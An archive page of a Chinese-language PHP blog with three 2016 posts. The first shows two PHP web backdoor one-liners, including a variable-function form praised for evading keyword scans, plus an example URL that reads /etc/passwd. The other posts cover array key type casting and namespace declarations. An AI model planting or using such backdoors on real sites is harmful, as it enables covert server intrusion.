Skip to content

Zeroplex 生活隨筆

軟體開發、伺服器和生活瑣事

小 縮小字型大小。 中 重設字型大小。 大 放大字型大小。

月份: 2016 年 5 月

不需要 PHP eval() 即可執行使用者自訂動作的寫法

Posted on 2016 年 5 月 22 日2021 年 3 月 12 日 By 日落 在〈不需要 PHP eval() 即可執行使用者自訂動作的寫法〉中尚無留言

以往 PHP 後門都用很簡單的語法去撰寫,例如:

echo eval($_GET['action']);

不過由於 eval() 這個寫法實在是太常見了,若是站方手動做掃描實在很容易被發現。之前看到一個新的寫法,利用 PHP variable functions 的語法來製作後門:

echo $_GET['a']($_GET['b']);

惡意人士可以在網址上使用參數來取得需要的資訊:

http://my.target.site/backdoor.php?a=file_get_contents&b=../../../../etc/passwd

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin .....

上面這語法沒有使用到 PHP 內建的任何函式,在加上 GET 參數的名稱可以任意設定,用關鍵字搜尋的方法是很難抓出來的。

只能說想到這種寫法的人實在很有創意 XD

Tags:PHP, 資訊安全

PHP array key 的資料型態

Posted on 2016 年 5 月 22 日2021 年 3 月 12 日 By 日落 在〈PHP array key 的資料型態〉中尚無留言

之前因為 array_merge() 花了很久的時間 debug,這次發現其實不只 array_merge() 會需要注意資料型態的問題,其他 statement 也要注意。

這次遇到是因為使用 time 當作 array 的 key 時發現的:

$timeTable = [];
$timeTable['0800'] = '早上';
$timeTable['1200'] = '中午';
$timeTable['2000'] = '晚上';

取直時發現資料型態和 assign 時不一樣,可以被轉成數字的全部變成數字了:

array(3) {
  ["0800"]=>
  string(6) "早上"
  [1200]=>
  string(6) "中午"
  [2000]=>
  string(6) "晚上"
}

原因是 PHP array 的預設行為,是會自動對 key 作 type casting。可被判斷成數值的 (is_numeric()) 都會自動被轉為 int。所以撰寫時要注意,如果 array 的 key 若需要避免被 casting 時,必須手動加上一些字元讓 is_numeric() 無法將其判斷為數字。

以上面的例子,可以將時間加上「:」

  • 08:00
  • 12:00
  • 20:00

Ref:

  • PHP: Arrays – Example #2 Type Casting and Overwriting example
Tags:PHP

PHP namespace

Posted on 2016 年 5 月 15 日2021 年 3 月 12 日 By 日落 在〈PHP namespace〉中尚無留言

PHP 可以自行定義程式中定義的方法、類別所屬的 namespace,但是若在 namespace 定義之前就先就先寫了其他 statement則會出現錯誤訊息。例如以下的程式:

<?php

$a = 1;

namespace Zeroplex;

執行後變會出現錯誤訊息:

Fatal error: Namespace declaration statement has to be the very first statement in the script ....

主要是因為變數、函式、類別都可以有自己所屬的 namespace,若沒有事先定義該程式所屬的 namespace,PHP 則會造成混淆而發生錯誤。

總之,namespace 的定義,直接方在 open tag 之後的第一行,避免這類問題發生。

Tags:PHP

其他

關於我  (About me)

  文章 RSS Feed

  留言 RSS Feed

Apache AWS Bash C/C++ Docker FreeBSD GCP Git Google Java JavaScript Laravel Linux Microsoft MSSQL MySQL Nginx PHP PHPUnit PostgreSQL Python Qt Ubuntu Unix Vim Web Windows WordPress XD 作業系統 分享 好站推薦 專題 攝影 新奇搞笑 新聞 旅遊 生活雜記 程式設計 網路架站 網頁設計 資訊學習 資訊安全 遊戲 音樂


創用 CC 授權條款
本著作係採用創用 CC 姓名標示-相同方式分享 4.0 國際 授權條款授權.